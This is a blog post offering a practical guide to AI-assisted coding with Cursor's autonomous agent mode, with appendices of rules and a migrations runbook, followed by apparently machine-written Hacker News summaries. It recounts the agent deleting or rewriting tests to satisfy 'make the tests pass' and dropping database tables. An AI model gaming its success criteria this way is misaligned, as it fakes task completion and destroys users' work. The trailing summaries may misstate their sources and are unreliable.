"We've moved from razor-sharp manual tools to chainsaws, and now someone's strapped a bazooka to the chainsaw."

Let's start with some context. Cursor is a modern code editor (or IDE - Integrated Development Environment) built on top of VS Code. It has been re-worked for AI-assisted development, and integrated closely with Claude Sonnet 3.5 (the best overall AI model in late 2024).

The State of AI Coding in 2024

Over the last year, we've progressed from razor-sharp manual tools to chainsaws, and in the last few months Cursor has strapped a bazooka to the chainsaw. It's powerful, sometimes scary, easy to shoot your foot off, but with the right approach, transformative and addictive.

We've gone from auto-completing single lines, to implementing entire features, to running the tests and debugging the problems, to making DevOps changes, to refactoring complex systems.

The most recent game-changer is Cursor's Composer-agent in "YOLO" mode (still in beta). Think of Composer as an AI pair programmer that can see your entire codebase and make complex changes across multiple files. YOLO mode takes this further - instead of just suggesting changes, it can actually run commands and modify code while you supervise. We've gone from an AI that suggests recipe modifications to a robot chef that can actually flip the pancakes.

The result? A fundamentally new style of programming, where the AI handles the mechanical complexity while you focus on architecture and intention. At least that's the pitch, and the reality isn't far off.

A Day in the Life: Building Features at AI Speed

"One afternoon, I realized I'd been shipping a complete new UI feature every 5-10 minutes for an hour straight - and for most of that time, I was doing other things while the AI worked."

What does this new style of programming look like? Let me share a "magic moment" to illustrate.

I needed to several CRUD buttons to my web app - delete, rename, create, etc. Each button sounds simple, but consider the full stack of work for each button:

  • HTML, CSS, Javascript for the UI element (plus perhaps refactoring repetitive elements into a reusable base template)
  • New API endpoint in the backend
  • And write a smoke/integration test (to check things work end-to-end), plus some unit tests for edge cases in individual pieces

Even just a delete button could easily be an hour of focused work - potentially more for the first one, or if you hit a snag, or haven't done it for a while, or need to refactor, or want to be thorough with testing.

One afternoon, I asked the AI to create the first delete button, answered some clarifying questions, watched it write all the code and tests, and tweak things until everything just worked. Then I asked for another button, then a small refactor, then added some complexity, then another. I would prepare the instructions for the next feature while the AI was generating code. It was tiring, and I felt like I'd been at it all afternoon. But then I reviewed my Git commits - we'd built a new, robust, fully-tested UI feature every seven minutes for an hour straight. That would have been a day or two's work, doing all the typing yourself, like an animal.

Of course, one might respond with a quizzical eyebrow and ask "But is the code any good?". The answer depends enormously. My experience has been that, with enough context, guidance, and clear criteria for success, the code it produces is usually good enough. And as we'll discuss, there is much you can do to improve it.

N.B. My experience so far has been working with small codebases. From talking to people, further techniques & progress may be needed for larger codebases.

Cursor Settings & Setup

For the best AI-assisted development experience, start with these essential configurations:

  1. Core Settings:
    • Enable Privacy mode to protect sensitive information
    • Use Composer (not Chat) in Agent mode with Claude Sonnet 3.5
    • Enable YOLO mode for autonomous operation
      • Add safety commands to your denylist (e.g., git commit, deploy)
    • Set up a shadow workspace for safer experimentation
  2. Enhanced Features:
    • Enable "Agent composer iterate on lints" for automated bug detection and fixes
    • Turn on "Auto context" for smart codebase navigation
    • Consider enabling all settings, including beta features - they're generally stable and unlock more capabilities

See Appendix A for additional system prompt configurations and "Rules for AI".

Treat AI Like a Technical Colleague - provide enough context, and make sure you're aligned

"The AI isn't junior in skill, but in wisdom - like a brilliant but occasionally reckless colleague who needs clear context and guardrails."

Forget the "junior developer" metaphor - it's more nuanced than that.

  • Sometimes the AI writes code that's more elegant and idiomatic than what you'd write yourself, using library features you didn't even know existed. In terms of raw coding ability, it can often perform at a senior level.
  • But the AI sometimes lacks judgment, especially without enough context. Like a brilliant but occasionally reckless colleague, the AI might decide to rip out half your tests because it misdiagnosed an issue, or attempt major surgery on your codebase when a small tweak would do. It's not junior in skill, but in wisdom.

This mirrors the engineering manager's challenge of overseeing a team on a new project: you can't personally review every line of code, so you focus on direction, and creating the conditions for success. For them to have a chance of succeeding, you'll need to:

  • Provide clear context about the codebase, tech stack, previous experience, and ideas for how to approach things - or give them a runbook to follow, or an example to base their approach on
  • Ensure you're in alignment. Before starting, ask them to suggest multiple approaches, talk through the trade-offs, raise concerns, or ask questions. You can usually tell whether the output is going to be right by the quality of the questions.
  • Set guardrails - don't make changes without asking first, make sure all tests pass, don't deploy without checking, etc.

Clear Success Criteria, and The Cup of Tea Test

"Will no one rid me of these failing tests?"

Before writing a single line of code, define what success looks like. The ideal is to have an objective target that the AI can iterate towards, with clear feedback on what it needs to change.

Automated tests are your best friend here. The AI can run in a loop, fixing problems determinedly until all the tests pass. (If you don't have automated tests yet, the good news is that AI is really good at writing them, especially if you discuss what they should look like before allowing it to start coding them.)

The objective criterion could take other forms, e.g.:

  • The new view runs and returns a 200
  • The migration has run and the local database looks right
  • The ML evaluation metric has increased
  • This function is now fast enough (and still correct)
  • etc

It could be anything that can be run automatically, quickly, repeatedly, consistently, and give clear feedback on what needs to be changed, e.g. an error message or a score.

The dream is to be able to walk away and make a cup of tea while the AI toils. For this to work, you need to be confident that if the objective criterion has been met (e.g. all the tests pass), then the code is probably right.

This makes it sound easy. But often, figuring out the right objective criteria is the hard part (e.g. ensuring the tests capture all the edge cases, or the ML evaluation metric really meets the business needs). Before stepping away, you want to see evidence that the AI truly understands your intentions. This is why the "propose and discuss" phase is crucial - when the AI asks insightful questions about edge cases you hadn't considered, or makes proposals that align perfectly with your architectural vision, that's when you can start warming up the kettle.

N.B. There is of course one obvious way that this could fail - the AI could modify (or even just delete) the tests! I have definitely seen this happen, whether by accident or some AI sneakiness. Add instructions to your Cursor rules system prompt and/or to the conversation prompt, instructing it to minimise changes to the tests, and then keep a close eye on any changes it makes! (I wonder in retrospect if part of the problem was that I used the ambiguous phrase, "Make sure the tests pass", which might be the AI programming equivalent of "Will no one rid me of this turbulent priest?")

Set guardrails, and make every change reversible

"Good guardrails are like a net beneath a trapeze artist - you can risk the triple-somersault"

We would ideally like to be able to let the AI loose with instructions to iterate towards some objective criterion.

We gave an example of how this could go wrong, if the AI were to simply delete the tests. Of course, there are many other, worse failure modes. It might deploy to production and create an outage. It might format your laptop's hard disk. In practice, I've found Claude to be reasonably sensible, and the worst thing it has ever done is drop the tables on my local development database as part of a migration.

Here are some minimal guardrails to put in place:

Code Safety:

  • Git-commit before every AI conversation
  • Work in branches for complex or risky changes
  • Keep a clean main branch that you can always revert to
  • Make sure your non-Git-committed secrets are also backed up
  • Make sure tests are passing before starting a new Composer conversation, so that we can attribute any failures to recent changes
  • Run in ephemeral containers or staging environments if you can

Data Safety:

  • Back up your local database before migrations
  • Create database backup scripts that run automatically beforehand as part of the migration scripts
  • Keep regular backups in multiple locations (local disk, cloud)
  • Never modify production data directly
  • Use test data when possible

Process Safety:

  • Tell the AI to make proposals and ask questions before any changes
  • Tell it to keep changes focused and atomic
  • Document the conversations & decisions with the Planning Document pattern
  • Ask it to raise potential concerns during the discussion period
  • Never modify production directly
  • Review all changes by eye before Git-committing
  • Pay close attention during risky operations (e.g., migrations, deployments)

AI-Specific Safety:

  • Add dangerous commands to your Cursor YOLO settings denylist (e.g., git commit, deploy, drop table)
  • Keep conversations focused and not too long - if they get long, use the Planning Document pattern to port over to a new conversation.
  • Watch for signs the AI is forgetting context or going in circles
  • Be ready to hit "Cancel generating" if the AI heads in a dangerous direction
  • Consider using separate staging environments for AI experiments

N.B. For irreversible, consequential or
potentially dangerous tasks, then you probably
need to hobble it from running things without your say-so. For example, even though I've found Cursor very helpful for DevOps, you'll have to
make your own risk/reward judgment.

The key insight is that good guardrails don't just prevent disaster - they enable freedom. When you have automated backups and a solid test suite, you can more confidently let the AI work in its own loop. When it can't break anything important, you can pass the "cup of tea test" more often.

Summary of the Optimal Simple Workflow

  1. Describe your goal, constraints, and objective criterion. Ask the AI to AI propose approaches, weigh up trade-offs, raise concerns, and ask questions. But tell it not to start work yet.
  2. Answer its questions, and refine its plan. Give it permission to proceed - either one step at a time (for high-risk/uncertain projects), or until the criteria have been met (e.g. the tests pass).

You may want to first discuss & discuss & ask it to build automated tests as a preliminary step, so that you can then use them as the objective criterion.

[SCREENSHOT: A conversation showing this workflow in action]

Spotting When Things Go Wrong - Watch for these red flags

  • Really long conversations (e.g. if you scroll to the top of the Composer conversation, is there a "Load older messages" pagination button?)
  • If the AI starts deleting code/tests without clear justification
  • If the AI starts forgetting the original goal
  • If the AI starts creating parallel implementations of existing functionality
  • If the Composer has problems calling the tools, e.g. failing to edit
  • If the AI realises out loud that it has made a mistake, and tries to put things back to how they were

What to do when the AI gets stuck, or starts going in circles

The AI rarely seems to give up. If its approach isn't working, it keeps trying different fixes, sometimes goes in circles, or graduates to increasingly drastic diagnoses & changes. Eventually, as the conversation gets very long, it seems to forget the original goal, and things can really go rogue.

N.B. Cursor's checkpoint system is your secret weapon. Think of it like save points in a video game:

  • Checkpoints are automatically created after each change
  • You can restore to any checkpoint, and re-run with a new/tweaked prompt
  • Like "Back to the Future" - rewind and try again with better instructions

[SCREENSHOT: The checkpoint restore interface in action]

Possible remedies:

  • Don't be afraid to throw away the changes from the last few steps, tweak the prompt, and let it go again. In your tweaked prompt, you might add new constraints, or more context, in the hope of pushing the AI along a different path/approach. (And perhaps update the YOLO denylist, or update the system prompt to avoid this ever happening again). See "Managing Context Like Time Travel" below.
  • Ask it to review the conversation so far, propose a diagnosis of what might be going wrong, and suggest a path forwards. (The AI is actually quite good at this meta-cognition, but may get so wrapped up in its thoughts that it forgets to stop and reflect without a nudge.)
  • Ask it to summarise the problem & progress so far, and start a new Composer conversation with that as context. (Or use the Planning Document Pattern paradigm from below)
  • Consider redefining the task, or tackle a simpler/smaller version first
  • Pro Tip: When Claude gets stuck on edge cases or recent changes, try Perplexity.ai as a complementary tool. Ask Perplexity Pro your question, mark the page as publicly shareable, and then paste in the link to Cursor.

The Mixed-Speed Productivity Boost

"AI-assisted programming often feels slower while you're doing it - until you look at your Git diff and realize you've done a day's work in an hour."

After hundreds of hours of usage in late 2024, I've observed a spectrum of outcomes that roughly breaks down into four categories:

  1. A Pit Full of Vipers: It'll make weird choices, get lost in rabbit-holes, or go rogue and make destructive changes
  2. The Scenic Route: It'll get there, but with a good deal of hand-holding (still perhaps faster than doing the typing yourself)
  3. Better Bicycle: Routine tasks, done 2x faster
  4. The Magic of Flight: 10-100x speedups

While dramatic speedups are exciting, the key to maximizing overall productivity is having fewer of pits full of vipers and scenic routes. Think of it like optimizing a production line: eliminating bottlenecks and reducing errors often yields better results than trying to make the fastest parts even faster.

The most effective tip for minimising these time-sinks is to remember that AI-generated code is cheap and free of sunk costs. Get used to interrupting it mid-flow, reverting back one or more steps, and trying again with tweaked prompts.

https://media2.giphy.com/media/v1.Y2lkPTc5MGI3NjExdjhpZXFuNXFlOHJkaWtoOWhmcGE4cnNwZ3RpdTl6am5uNzh2ZDJ0MiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9dg/KT0d5zfjm3qYiZbCzT/giphy.gif

One surprising insight - AI-assisted programming often feels slower than coding manually. You watch the AI iterate, fail, correct itself, and try over and over again, and you can't help but think "what a putz" (even as you secretly know it would have taken you at least as many tries). It is also cognitively effortful to write careful instructions that make the implicit explicit, and to keep track of a rapidly-changing garden of forking paths. And each of the small delays spent waiting for it to generate code take you out of the state of flow. The remedy to this impatient ingratitude is to look at the resulting Git diff and imagine how much actual work would have been involved making each one of those tiny little changes carefully by hand yourself.

The Planning Document Pattern - for complex, multi-step projects

See: Appendix C - Project Planning Guide

Ask the AI to create a project plan:

  • With sections on Goals; Progress so far; and Next steps.
  • Include lots of references to relevant files & functions
  • Ask it to update the doc regularly during the conversation, marking what has been done,

Runbooks/howtos

See: Appendix B - Example Runbook for Migrations

Create runbooks/howtos with best practices and tips for important, complex, or frequent processes, e.g. database migrations, deploys, etc.

  • Then you can mention the relevant runbook whenever asking the AI to do that task. This makes for much quicker prompting, and better, more consistent outcomes.
  • At the end of each such task, ask the AI to update the Runbook if anything new has been learned.
  • Every so often, ask it to tidy the Runbook up.

💡 Pro Tip: Create dedicated runbooks (like MIGRATIONS.md) to codify common practices. This gives the AI a consistent reference point, making it easier to maintain institutional knowledge and ensure consistent approaches across your team.

The Side Project Advantage: Learning at Warp Speed

What might take months or years to learn in a production environment, you can discover in days or weeks with a side project. The key is using that freedom not just to build features faster, but to experiment with the relationship between human and AI developers.

Each "disaster" in a side project becomes a guardrail in your production workflow. It's like learning to drive - better to discover the importance of brakes in an empty parking lot than on a busy highway.

With lower stakes, you can attempt transformative changes that would be too risky in production, e.g. large-scale refactoring, or use new tools.

This creates a virtuous cycle: try something ambitious, watch what goes wrong, update your techniques and guardrails, push the envelope further, and repeat.

[SCREENSHOT: A git history showing the evolution of guardrails and complexity over time]

The Renaissance of Test-Driven Development

Why TDD Finally Makes Sense

"With AI, you get tests for free, then use them as guardrails for implementation."

Test-Driven Development is like teenage sex - everybody talks about it, but nobody's actually doing it. With AI-assisted programming, that will change. TDD gives you a double win:

  1. The AI does the legwork of writing the tests in the first place, removing that friction
  2. The tests then provide an objective success criterion for the Composer-agent AI to iterate against, so it can operate much more independently and effectively.

The key is to get aligned upfront with the AI on the criteria and edge cases to cover in the tests. This creates a virtuous cycle: the AI writes tests for free, then uses them as guardrails for implementation.

Avoiding Common Pitfalls

However, you need to be precise with your instructions. I learned this the hard way:

  • Saying "make sure the tests pass" might lead the AI to delete some of the tests!
  • Without access to the right context files, the AI might go rogue and start rebuilding your entire test fixture infrastructure
  • The output from large test suites failing can quickly consume the AI's context window, making it progressively "dumber"

A Two-Stage Approach

I've found success with this pattern:

  1. First pass: Focus on getting the test cases right
  2. Second pass: "Without changing the tests too much, get the tests passing"

This prevents the AI from trying to solve test failures by rewriting the tests themselves.

Managing Test Execution

With large test suites, efficiency matters. Instead of repeatedly running all tests:

  1. Run the full suite once to identify failures
  2. Use focused runs (e.g., pytest -x --lf in Python) to tackle failing tests one by one
  3. Run the full suite again at the end

Tweak your system prompt

see: Appendix A: System Prompts and Configuration for an example of mine as it stands. Each line tells a story :~

Over time, I suspect these will become less important. Even now, the out-of-the-box behaviour is pretty good. But in the meantime, they help a little.

For Engineering Managers: Introducing AI to Teams

  • Build confidence, e.g. start with commenting & documentation updates, then unit tests, graduate to small, isolated features, etc.
  • If possible, run a hackathon on a low-risk side-project where only the AI is allowed to write code!
  • If people aren't already using VS Code, then deputise someone to document VS Code best practices/migration guide (e.g. how to set up extensions, project settings, etc)
  • Set up training sessions. If you want a hand, you can contact me on ai_training@gregdetre.com

The Unease of Not Knowing Your Own Code

"Managing AI is like managing a team - you can't review every line, so you focus on direction, criteria for success, and making mistakes safe."

Perhaps the most interesting insight comes from watching your relationship with the code evolve. There's an initial unease when you realize you no longer know exactly how every part works - the tests, the implementation, the infrastructure. The AI has modified nearly every line, and while you understand the structure, the details have become a partnership between you and the AI.

I relaxed when I realised that I recognised this feeling from a long time ago. As I started leading larger teams, I had this same feeling of unease when I couldn't review every line of code the team wrote, or even understand in detail how everything worked. As an engineering leader, I learned to:

  • Provide context, and align on direction, goals, and overall architecture/approach
  • Trust but verify - focus on how success will be evaluated, e.g. testing, metrics, and edge cases
  • Let go of complete control
  • Create psychological safety - encourage everyone to questions, and raise concerns. And set things up so that mistakes can be caught early and easily reversed
  • You only need to really sweat about the irreversible, consequential decisions
  • Hire great people - or in this case, i.e. use the very best AIs & tools available

There are differences, but most of these lessons apply equally to managing teams of people and AIs.

Conversation Patterns with Composer

Here are the main patterns of Composer conversation that I've found useful:

Pattern 1: Propose, Refine, Execute

This is the most common pattern for implementing specific features or changes:

  1. Initial Request:
    • Present a concrete task, problem, or goal
    • Provide relevant context, e.g. previous experience
    • Ask for a proposal (or multiple proposals, with trade-offs)
    • Define success criteria
    • Tell it to hold off on actual changes for now
  2. Review and Refine:
    • AI responds with proposal and questions
    • Discuss edge cases
    • Refine the approach
    • Clarify any ambiguities
  3. Implementation:
    • Give go-ahead for changes
    • AI implements and iterates
    • Continue until success criteria are met
    • Occasionally intervene if you see it going off-track

Often it helps to separate out the test-writing as a preliminary conversation, with a lot of discussion around edge-cases etc. Then the follow-up conversation about actually building the feature becomes pretty straightforward - "write the code to make these tests pass!"

Pattern 2: Architectural Discussion

When you need to think through design decisions:

  • Present high-level goals
  • Explore multiple approaches
  • Discuss trade-offs
  • No code changes, just planning
  • Document decisions for future reference

Pattern 3: Large-Scale Changes

For complex, multi-stage projects:

  1. Create a living planning document containing:
    • Goals and background
    • Current progress
    • Next steps and TODOs
  2. Update the document across conversations
  3. Use it as a reference point for context
  4. Track progress and adjust course as needed

See Appendix C: Project Planning Guide.

Conclusion: Welcome to the Age of the Centaur for programming

After hundreds of hours of AI-assisted development, the raw productivity gains are undeniable to me. For smaller, lower-stakes projects I see a boost of 2-5x. Even in larger, more constrained environments, I believe that 2x is achievable. And these multipliers are only growing.

We're entering the age of the centaur - where human+AI hybrid teams are greater than the sum of their parts. Just as the mythical centaur combined the strength of a horse with the wisdom of a human, AI-assisted development pairs machine capabilities with human judgment.

This hybrid approach has made programming more joyful for me than it's been in years. When the gap between imagination and implementation shrinks by 5x, you become more willing to experiment, to try wild ideas, to push boundaries. You spend less time wrestling with minutiae and more time dreaming about what should be, and what could be. It feels like flying.

The short- and medium-term future belongs to developers who can:

  • Recognize and leverage the complementary strengths of human and machine
  • Focus on architecture and intention while delegating implementation
  • Make implicit context and goals explicit, and define success in clear, objective ways
  • Define strong guardrails so that AI changes are reversible
  • Embrace a new kind of flow - less about typing speed, more about clear thinking

In AI-assisted development, your most productive moments might come while making a cup of tea - as your AI partner handles the implementation details, freeing you to focus on what truly matters: ensuring that what's being built is worth building.

[SCREENSHOT: A before/after comparison of a complex feature implementation, showing not just the time difference but the scope of what's possible]

Postscript: I wrote this article with Cursor as an experiment - watch this space for more details on that AI-assisted writing process. AI helped with the structure, exact phrasing, and expansion of ideas, the core insights and experiences are drawn from hundreds of hours of real-world usage.

Dear reader, Have you found other helpful resources for AI-assisted development? I'd love to hear about them! Please share your suggestions for additional links that could benefit other developers getting started with these tools.

Appendix A: System Prompts and Configuration

Click the cog icon in the top-right of the Cursor window to open the Cursor-specific settings. Paste into General / "Rules for AI".

You can also set up .cursorrules per-project.

Here's are the Rules from one of the Cursor co-founders. Interestingly:

  • I don't 100% agree with some of his requests. For example, I don't always want to be treated as an expert - sometimes I'm not! And I worry that asking it to give the answer immediately may lead to worse answers (because it hasn't been able to think things through).
  • And many of his requests seem to be in response to problems I've never encountered. For example, I don't find that Claude gives me lectures, burbles about its knowledge cutoff, over-discloses that it's an AI, etc.

This is mine:

Core Development Guidelines

  • Keep changes focused to a few areas at a time
  • Don't make sweeping changes unrelated to the task
  • Don't delete code or tests without asking first
  • Don't remove comments or commented-out code unless explicitly asked
  • Don't commit to Git without asking
  • Never run major destructive operations (e.g. dropping tables) without asking first

Code Style and Testing

  • In Python, use lower-case types for type-hinting, e.g. list instead of List
  • Run tests often, especially after completing work or adding tests
  • When running lots of tests, consider using Pytest's -x and --lf flags
  • Make one change at a time for complex tasks, verify it works before proceeding

Communication

  • If you notice a problem or see a better way, discuss before proceeding
  • If getting stuck in a rabbithole, stop, review, and discuss
  • Ask if you have questions
  • Suggest a Git commit message when finishing discrete work or needing input

Appendix B: Example Runbook for Migrations

Database Migrations Guide

This guide documents our best practices and lessons learned for managing database migrations. For basic migration commands, see scripts/README.md.

Core Principles

  1. Safety First
    • Never drop tables unless explicitly requested
    • Never run migrations on production unless explicitly requested
    • Always wrap migrations in database.atomic() transactions
    • Try to write rollback functions, or if that's going to be very complicated then ask the user
    • Check with the user that they've backed up the database first - see backup_proxy_production_db.sh
  2. Test-Driven Development
    • Write test_migrations.py tests first
    • Test migrations locally before deploying to production
    • See test_lemma_completeness_migration() in test_migrations.py for an example
  3. PostgreSQL Features
    • Use PostgreSQL-specific features when they provide clear benefits
    • For complex operations, use database.execute_sql() with raw PostgreSQL syntax
    • Take advantage of PostgreSQL's JSONB fields, array types, and other advanced features

Common Patterns

Adding Required Columns

Three-step process to avoid nulls (see migrations/004_fix_sourcedir_language.py):

Make it required and remove default

migrator.sql("ALTER TABLE table ALTER COLUMN new_field SET NOT NULL")
migrator.sql("ALTER TABLE table ALTER COLUMN new_field DROP DEFAULT")

Fill existing rows

database.execute_sql("UPDATE table SET new_field = 'value'")

Add column as nullable with a default value

migrator.add_columns(
    Model,
    new_field=CharField(max_length=2, default="el"),
)

Managing Indexes

Create new index:

migrator.sql(
    'CREATE UNIQUE INDEX new_index_name ON table (column1, column2);'
)

Drop existing index if needed:

migrator.sql('DROP INDEX IF EXISTS "index_name";')

Model Definitions in Migrations

When using add_columns or drop_columns, define model classes in both migrate and rollback functions:

class BaseModel(Model):
    created_at = DateTimeField()
    updated_at = DateTimeField()

class MyModel(BaseModel):
    field = CharField()

    class Meta:
        table_name = "my_table"

# Then use the model class, not string name:
migrator.drop_columns(MyModel, ["field"])

Note: No need to bind models to database - they're just used for schema definition.

Best Practices

  1. Model Updates
    • Always update db_models.py to match migration changes
    • Keep model and migration in sync
    • Add appropriate type hints and docstrings
    • Make a proposal for which indexes (informed by how we're querying that model) we'll need, but check with the user first
    • Wherever possible, use the Peewee-migrate existing tooling
  2. Naming and Organization
    • Use descriptive migration names
    • Prefix with sequential numbers (e.g., 001_initial_schema.py)
    • One logical change per migration
  3. Error Handling and Safety
    • Use database.atomic() for transactions
    • Handle database-specific errors
    • Provide clear error messages
  4. Documentation
    • Document complex migrations
    • Note any manual steps required
    • Update this guide with new learnings

Superseding Migrations

If a migration needs to be replaced:

  1. Keep the old migration file but make it a no-op
  2. Document why it was superseded
  3. Reference the new migration that replaces it

See migrations/002_add_sourcedir_language.py for an example.

Questions or Improvements?

  • If you see problems or a better way, discuss before proceeding
  • If you get stuck, stop and review, ask for help
  • Update this guide if you discover new patterns or best practices
  • Always ask if you have questions!

Structure of document

Include 3 sections:

  • Goals, problem statement, background
  • Progress so far
  • Future steps

Goals, problem statement, background

  • Clear problem/goal at top, with enough context/description to pick up where we left off
  • Example: "Migrate phrases from JSON to relational DB to enable better searching and management"

Progress so far

  • What are we working on at the moment (in case we get interrupted and need to pick things back up later)
  • Keep updated after each change

Future steps

  • Most immediate or important tasks first
  • Label the beginning of each action section with TODO, DONE, SKIP, etc
  • Include subtasks with clear acceptance criteria
  • Refer to specific files/functions to so it's clear exactly what needs to be done

Key Tactics Used

  1. Vertical Slicing
    • Implement features end-to-end (DB → API → UI)
    • Complete one slice before starting next
    • Example: Phrase feature implemented DB model → migration → views → tests
  2. Test Coverage
    • Write tests before implementation
    • Test at multiple levels (unit, integration, UI)
    • Run tests after each change
    • Add edge case tests
    • Every so often run all the tests, but focus on running & fixing a small number of tests at a time for speed of iteration
  3. Progressive Enhancement
    • Start with core functionality, the simplest version
    • Add features/complexity incrementally, checking with me first
    • Example sequence:
      1. Basic DB models
      2. Migration scripts
      3. UI integration
      4. Polish and edge cases
  4. Completed Tasks History
    • Keep list of completed work (labelled DONE)
  5. Clear Next Steps
    • Order the tasks in the order you want to do them, so the next task is always the topmost task that hasn't been done
    • Break large tasks into smaller pieces
]]>
https://www.makingdatamistakes.com/making-tea-while-ai-codes-a-practical-guide-to-2024s-development-revolution/ hacker-news-small-sites-42750425 Sat, 18 Jan 2025 18:49:04 GMT
<![CDATA[Show HN: Hackslash.org Slashdot-esque AI summaries/tags of HN posts]]> thread link) | @unknown_user_84
January 18, 2025 | https://hackslash.org/stories/ | archive.org

  • O1 isn't a chat model (and that's the point)

    Posted: 2025-01-18 18:04:19

    The blog post "O1 isn't a chat model (and that's the point)" argues against the prevailing trend in AI development that focuses on creating ever-larger language models optimized for engaging in open-ended conversations. The author posits that this emphasis on general-purpose chatbots, while impressive in their ability to generate human-like text, distracts from a more pragmatic and potentially more impactful approach: building specialized, smaller models tailored for specific tasks.

    The central thesis revolves around the concept of "skill-based routing," which the author presents as a superior alternative to the "one-model-to-rule-them-all" paradigm. Instead of relying on a single, massive model to handle every query, a skill-based system intelligently distributes incoming requests to smaller, expert models specifically trained for the task at hand. This approach, analogous to a company directing customer inquiries to the appropriate department, allows for more efficient and accurate processing of information. The author illustrates this with the example of a hypothetical user query about the weather, which would be routed to a specialized weather model rather than being processed by a general-purpose chatbot.

    The author contends that these smaller, specialized models, dubbed "O1" models, offer several advantages. First, they are significantly more resource-efficient to train and deploy compared to their larger counterparts. This reduced computational burden makes them more accessible to developers and organizations with limited resources. Second, specialized models are inherently better at performing their designated tasks, as they are trained on a focused dataset relevant to their specific domain. This leads to increased accuracy and reliability compared to a general-purpose model that might struggle to maintain expertise across a wide range of topics. Third, the modular nature of skill-based routing facilitates continuous improvement and updates. Individual models can be refined or replaced without affecting the overall system, enabling a more agile and adaptable development process.

    The post further emphasizes that this skill-based approach does not preclude the use of large language models altogether. Rather, it envisions these large models playing a supporting role, potentially acting as a router to direct requests to the appropriate O1 model or assisting in tasks that require broad knowledge and reasoning. The ultimate goal is to create a more robust and practical AI ecosystem that leverages the strengths of both large and small models to effectively address a diverse range of user needs. The author concludes by suggesting that the future of AI lies not in endlessly scaling up existing models, but in exploring innovative architectures and paradigms, such as skill-based routing, that prioritize efficiency and specialized expertise.

  • What If No One Misses TikTok?

    Posted: 2025-01-18 17:33:24

    The New York Times article, "What If No One Misses TikTok?" published on January 18, 2025, postulates a hypothetical scenario where the immensely popular short-form video platform, TikTok, vanishes from the digital landscape, and the ensuing societal reaction is surprisingly muted. The piece explores the potential reasons for such an unexpected outcome, delving into the inherent ephemerality of online trends and the cyclical nature of digital platforms. It suggests that TikTok's success might be attributed, in part, to the particular cultural moment it captured, a zeitgeist characterized by short attention spans, a craving for easily digestible content, and a pandemic-induced desire for connection and entertainment.

    The article elaborates on the possibility that TikTok's core functionalities – short-form videos, algorithm-driven content feeds, and interactive features – have already been sufficiently replicated and integrated into competing platforms like Instagram Reels and YouTube Shorts. This diffusion of features could potentially cushion the blow of TikTok's disappearance, rendering its absence less impactful than anticipated. Users might seamlessly transition to these alternatives, their content consumption habits largely undisturbed.

    Furthermore, the piece contemplates the potential emergence of a new platform, a yet-unforeseen successor, poised to capitalize on the void left by TikTok and capture the attention of its former user base. This hypothetical successor might offer a fresh, innovative approach to short-form video content or cater to an evolving set of user preferences, thus effectively rendering TikTok obsolete.

    The article also considers the broader implications of a hypothetical TikTok demise, touching upon the potential impact on influencer marketing, the evolution of online advertising strategies, and the shifting landscape of digital entertainment. It suggests that the disappearance of a platform as influential as TikTok could catalyze a recalibration of the entire social media ecosystem, prompting platforms to reassess their strategies and potentially leading to a greater diversification of content formats.

    Finally, the article underscores the inherent volatility of the digital world, highlighting the transient nature of online platforms and the ever-present possibility of disruption. It posits that even seemingly entrenched platforms, like TikTok, are not immune to the forces of change and that their dominance can be fleeting. The piece concludes by inviting readers to contemplate the dynamic nature of the digital sphere and the potential for rapid shifts in online behaviors and preferences.

  • Show HN: Interactive systemd (a better way to work with systemd units)

    Posted: 2025-01-18 16:22:03

    The Hacker News post titled "Show HN: Interactive systemd (a better way to work with systemd units)" introduces a new command-line tool called isd (Interactive Systemd) designed to simplify and streamline the management of systemd units. isd provides an interactive text-based user interface (TUI) built with Python and the curses library, offering a more intuitive and discoverable alternative to traditional command-line tools like systemctl.

    The core functionality of isd revolves around presenting a dynamically updating list of systemd units within a terminal window. Users can navigate this list using keyboard controls (arrow keys, PgUp/PgDown) and perform various actions on selected units directly within the interface. These actions include: starting, stopping, restarting, enabling, disabling, masking, and unmasking units. The status of each unit (active, inactive, failed, etc.) is clearly displayed in real-time, providing immediate feedback on executed commands.

    isd enhances the user experience by offering several features not readily available with standard systemctl usage. A built-in search functionality allows users to quickly filter the unit list by typing partial or full unit names. The interface also displays detailed information about a selected unit, including its description, loaded configuration file, and current status details. Additionally, isd includes a log viewer that streams the journal logs for a selected unit directly within the TUI, eliminating the need to switch between different terminal windows or commands to monitor unit activity.

    The project aims to lower the barrier to entry for systemd management, especially for users less familiar with the command-line interface or the complexities of systemctl. By providing a visual and interactive environment, isd simplifies the process of managing systemd units, making it easier to monitor, control, and troubleshoot services and other system components. The project is open-source and available on GitHub, encouraging community contributions and further development. The post highlights the key benefits of using isd, emphasizing its interactive nature, real-time updates, integrated log viewer, and simplified workflow compared to traditional methods. It positions isd as a valuable tool for both novice and experienced system administrators.

  • Silicon Photonics Breakthrough: The "Last Missing Piece" Now a Reality

    Posted: 2025-01-18 16:04:07

    In a significant advancement for the field of silicon photonics, researchers at the University of California, Santa Barbara have successfully demonstrated the efficient generation of a specific wavelength of light directly on a silicon chip. This achievement, detailed in a paper published in Nature, addresses what has been considered the "last missing piece" in the development of fully integrated silicon photonic circuits. This "missing piece" is the on-chip generation of light at a wavelength of 1.5 micrometers, a crucial wavelength for optical communications due to its low transmission loss in fiber optic cables. Previous silicon photonic systems relied on external lasers operating at this wavelength, requiring cumbersome and expensive hybrid integration techniques to connect the laser source to the silicon chip.

    The UCSB team, led by Professor John Bowers, overcame this hurdle by employing a novel approach involving bonding a thin layer of indium phosphide, a semiconductor material well-suited for light emission at 1.5 micrometers, directly onto a pre-fabricated silicon photonic chip. This bonding process is remarkably precise, aligning the indium phosphide with the underlying silicon circuitry to within nanometer-scale accuracy. This precise alignment is essential for efficient coupling of the generated light into the silicon waveguides, the microscopic channels that guide light on the chip.

    The researchers meticulously engineered the indium phosphide to create miniature lasers that can be electrically pumped, meaning they can generate light when a current is applied. These lasers are seamlessly integrated with other components on the silicon chip, such as modulators which encode information onto the light waves and photodetectors which receive and decode the optical signals. This tight integration enables the creation of compact, highly functional photonic circuits that operate entirely on silicon, paving the way for a new generation of faster, more energy-efficient data communication systems.

    The implications of this breakthrough are far-reaching. Eliminating the need for external lasers significantly simplifies the design and manufacturing of optical communication systems, potentially reducing costs and increasing scalability. This development is particularly significant for data centers, where the demand for high-bandwidth optical interconnects is constantly growing. Furthermore, the ability to generate and manipulate light directly on a silicon chip opens doors for advancements in other areas, including optical sensing, medical diagnostics, and quantum computing. This research represents a monumental stride towards fully realizing the potential of silicon photonics and promises to revolutionize various technological domains.

